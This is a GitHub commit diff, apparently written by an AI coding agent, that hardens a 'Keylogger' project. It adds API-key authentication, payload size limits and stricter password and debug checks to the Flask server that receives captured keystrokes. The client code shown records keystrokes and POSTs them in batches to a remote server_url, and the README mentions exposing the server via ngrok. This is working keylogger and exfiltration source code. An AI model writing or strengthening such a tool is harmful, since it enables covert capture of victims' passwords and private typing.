fix: harden auth and log ingestion security controls

Agent-Logs-Url: https://github.com/Stalin-143/Keylogger/sessions/cef34b0e-605b-4ab9-8da6-2559d1dd4529

Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
This commit is contained in:
copilot-swe-agent[bot]
2026-04-19 04:43:42 +00:00
committed by GitHub
parent fa1ced8607
commit e450630b7d
5 changed files with 71 additions and 17 deletions
+3 -2
View File
@@ -85,9 +85,10 @@ Welcome to the **Keylogger Project**! This project demonstrates how a keylogger
Edit `config/.env`: Edit `config/.env`:
```bash ```bash
WEB_SERVER_USERNAME=admin WEB_SERVER_USERNAME=admin_user
WEB_SERVER_PASSWORD=your_secure_password_here WEB_SERVER_PASSWORD=your_very_strong_password_here
FLASK_DEBUG=False FLASK_DEBUG=False
LOG_INGEST_API_KEY=replace_with_random_long_api_key
``` ```
### Usage ### Usage
+5 -2
View File
@@ -1,7 +1,10 @@
# Web Server Authentication # Web Server Authentication
WEB_SERVER_USERNAME=admin WEB_SERVER_USERNAME=admin_user
WEB_SERVER_PASSWORD=change_this_password WEB_SERVER_PASSWORD=change_this_to_a_very_strong_password
# Flask Configuration # Flask Configuration
FLASK_DEBUG=False FLASK_DEBUG=False
FLASK_SECRET_KEY=generate_random_secret_key_here FLASK_SECRET_KEY=generate_random_secret_key_here
# Shared API key for keylogger -> server log ingestion (minimum 24 chars)
LOG_INGEST_API_KEY=replace_with_random_long_api_key
+6 -5
View File
@@ -103,14 +103,15 @@ mkdir -p logs
```bash ```bash
# Web Server Authentication # Web Server Authentication
WEB_SERVER_USERNAME=admin WEB_SERVER_USERNAME=admin_user
WEB_SERVER_PASSWORD=your_secure_password_here WEB_SERVER_PASSWORD=your_very_strong_password_here
# Flask Configuration # Flask Configuration
FLASK_DEBUG=False FLASK_DEBUG=False
LOG_INGEST_API_KEY=replace_with_random_long_api_key
``` ```
**Important:** Change the default password to a secure one! **Important:** Use a strong password (minimum 12 characters) and an API key of at least 24 characters.
### 3. Set Environment Variables (Before Running) ### 3. Set Environment Variables (Before Running)
@@ -144,7 +145,7 @@ python3 src/server.py --config config/config.json
**With command-line options:** **With command-line options:**
```bash ```bash
python3 src/server.py --port 8080 --debug python3 src/server.py --host 127.0.0.1 --port 8080 --debug
``` ```
**All options:** **All options:**
@@ -152,7 +153,7 @@ python3 src/server.py --port 8080 --debug
- `--log-file PATH`: Override log file path - `--log-file PATH`: Override log file path
- `--host HOST`: Host to bind to (default: 0.0.0.0) - `--host HOST`: Host to bind to (default: 0.0.0.0)
- `--port PORT`: Port to bind to (default: 5000) - `--port PORT`: Port to bind to (default: 5000)
- `--debug`: Enable debug mode - `--debug`: Enable debug mode (localhost bindings only)
### Exposing Server with ngrok (Optional) ### Exposing Server with ngrok (Optional)
+14 -2
View File
@@ -32,7 +32,7 @@ GitHub: https://github.com/Stalin-143
class KeyLogger: class KeyLogger:
"""Keylogger class to handle keyboard input capture and logging.""" """Keylogger class to handle keyboard input capture and logging."""
def __init__(self, log_file_path, server_url, batch_size=10, verify_ssl=True): def __init__(self, log_file_path, server_url, batch_size=10, verify_ssl=True, api_key=None):
""" """
Initialize the KeyLogger. Initialize the KeyLogger.
@@ -41,11 +41,13 @@ class KeyLogger:
server_url (str): URL of the server to send logs to server_url (str): URL of the server to send logs to
batch_size (int): Number of keystrokes before sending to server batch_size (int): Number of keystrokes before sending to server
verify_ssl (bool): Whether to verify SSL certificates (default: True) verify_ssl (bool): Whether to verify SSL certificates (default: True)
api_key (str): API key for authenticating log ingestion
""" """
self.log_file_path = log_file_path self.log_file_path = log_file_path
self.server_url = server_url self.server_url = server_url
self.batch_size = batch_size self.batch_size = batch_size
self.verify_ssl = verify_ssl self.verify_ssl = verify_ssl
self.api_key = api_key
self.buffer = [] self.buffer = []
# Ensure the log directory exists # Ensure the log directory exists
@@ -72,9 +74,14 @@ class KeyLogger:
try: try:
log_data = ''.join(self.buffer) log_data = ''.join(self.buffer)
headers = {}
if self.api_key:
headers["X-API-Key"] = self.api_key
response = requests.post( response = requests.post(
self.server_url, self.server_url,
data={"log": log_data}, data={"log": log_data},
headers=headers,
timeout=10, timeout=10,
verify=self.verify_ssl # Verify SSL certificates by default verify=self.verify_ssl # Verify SSL certificates by default
) )
@@ -213,18 +220,23 @@ def main():
server_url = args.server_url or keylogger_config.get('server_url', '') server_url = args.server_url or keylogger_config.get('server_url', '')
batch_size = args.batch_size or keylogger_config.get('batch_size', 10) batch_size = args.batch_size or keylogger_config.get('batch_size', 10)
verify_ssl = not args.no_verify_ssl # Default to True unless --no-verify-ssl is passed verify_ssl = not args.no_verify_ssl # Default to True unless --no-verify-ssl is passed
api_key = os.getenv('LOG_INGEST_API_KEY')
if not server_url: if not server_url:
print("Error: Server URL not configured.") print("Error: Server URL not configured.")
print("Please set server_url in config/config.json or use --server-url argument.") print("Please set server_url in config/config.json or use --server-url argument.")
sys.exit(1) sys.exit(1)
if not api_key or len(api_key) < 24:
print("Error: LOG_INGEST_API_KEY environment variable is required and must be at least 24 characters.")
sys.exit(1)
if args.no_verify_ssl: if args.no_verify_ssl:
print("⚠️ WARNING: SSL certificate verification is DISABLED!") print("⚠️ WARNING: SSL certificate verification is DISABLED!")
print(" This is NOT recommended for production use.") print(" This is NOT recommended for production use.")
# Create and start the keylogger # Create and start the keylogger
keylogger = KeyLogger(log_file_path, server_url, batch_size, verify_ssl) keylogger = KeyLogger(log_file_path, server_url, batch_size, verify_ssl, api_key)
keylogger.start() keylogger.start()
+42 -5
View File
@@ -33,8 +33,10 @@ app.secret_key = os.getenv('FLASK_SECRET_KEY', secrets.token_hex(32))
CONFIG = { CONFIG = {
'log_file_path': 'logs/keylog.txt', 'log_file_path': 'logs/keylog.txt',
'username': 'admin', 'username': 'admin',
'password': 'admin' 'password': 'admin',
'api_key': None
} }
MAX_LOG_PAYLOAD_BYTES = 64 * 1024
def check_auth(username, password): def check_auth(username, password):
@@ -82,6 +84,21 @@ def requires_auth(f):
return decorated return decorated
def has_valid_api_key():
"""
Validate API key for log ingestion endpoint.
Returns:
bool: True when API key is configured and valid
"""
configured_api_key = CONFIG.get('api_key')
request_api_key = request.headers.get('X-API-Key')
if not configured_api_key or not request_api_key:
return False
return secrets.compare_digest(request_api_key, configured_api_key)
# HTML template to display the log contents and provide a download link # HTML template to display the log contents and provide a download link
HTML_TEMPLATE = ''' HTML_TEMPLATE = '''
<!DOCTYPE html> <!DOCTYPE html>
@@ -210,8 +227,17 @@ def receive_log():
Success or error message Success or error message
""" """
try: try:
if not has_valid_api_key():
return "Unauthorized", 401
if request.content_length and request.content_length > MAX_LOG_PAYLOAD_BYTES:
return "Log payload too large", 413
log_data = request.form.get('log', '') log_data = request.form.get('log', '')
if log_data: if log_data:
if len(log_data.encode('utf-8')) > MAX_LOG_PAYLOAD_BYTES:
return "Log payload too large", 413
log_file_path = CONFIG['log_file_path'] log_file_path = CONFIG['log_file_path']
# Ensure log directory exists # Ensure log directory exists
@@ -220,7 +246,7 @@ def receive_log():
os.makedirs(log_dir, exist_ok=True) os.makedirs(log_dir, exist_ok=True)
# Append log data to file # Append log data to file
with open(log_file_path, 'a') as f: with open(log_file_path, 'a', encoding='utf-8') as f:
f.write(log_data) f.write(log_data)
return "Log received successfully", 200 return "Log received successfully", 200
@@ -297,6 +323,7 @@ def main():
# Load credentials from environment variables # Load credentials from environment variables
CONFIG['username'] = os.getenv('WEB_SERVER_USERNAME') CONFIG['username'] = os.getenv('WEB_SERVER_USERNAME')
CONFIG['password'] = os.getenv('WEB_SERVER_PASSWORD') CONFIG['password'] = os.getenv('WEB_SERVER_PASSWORD')
CONFIG['api_key'] = os.getenv('LOG_INGEST_API_KEY')
# Validate that credentials are set # Validate that credentials are set
if not CONFIG['username'] or not CONFIG['password']: if not CONFIG['username'] or not CONFIG['password']:
@@ -309,15 +336,25 @@ def main():
print(" source config/.env") print(" source config/.env")
sys.exit(1) sys.exit(1)
if CONFIG['password'] == 'admin' or len(CONFIG['password']) < 8: if CONFIG['password'] == 'admin' or len(CONFIG['password']) < 12:
print("⚠️ WARNING: Weak password detected!") print("ERROR: Weak password detected.")
print(" Please use a strong password (at least 8 characters).") print("Please use a strong password (at least 12 characters).")
sys.exit(1)
if not CONFIG['api_key'] or len(CONFIG['api_key']) < 24:
print("ERROR: LOG_INGEST_API_KEY is required and must be at least 24 characters.")
sys.exit(1)
# Get server settings # Get server settings
host = args.host or server_config.get('host', '0.0.0.0') host = args.host or server_config.get('host', '0.0.0.0')
port = args.port or server_config.get('port', 5000) port = args.port or server_config.get('port', 5000)
debug = args.debug or server_config.get('debug', False) debug = args.debug or server_config.get('debug', False)
if debug and host not in ('127.0.0.1', 'localhost', '::1'):
print("ERROR: Debug mode is only allowed on localhost interfaces.")
print("Use a local host binding or disable --debug.")
sys.exit(1)
print(f"\nStarting web server on {host}:{port}") print(f"\nStarting web server on {host}:{port}")
print(f"Log file path: {CONFIG['log_file_path']}") print(f"Log file path: {CONFIG['log_file_path']}")
print(f"Username: {CONFIG['username']}") print(f"Username: {CONFIG['username']}")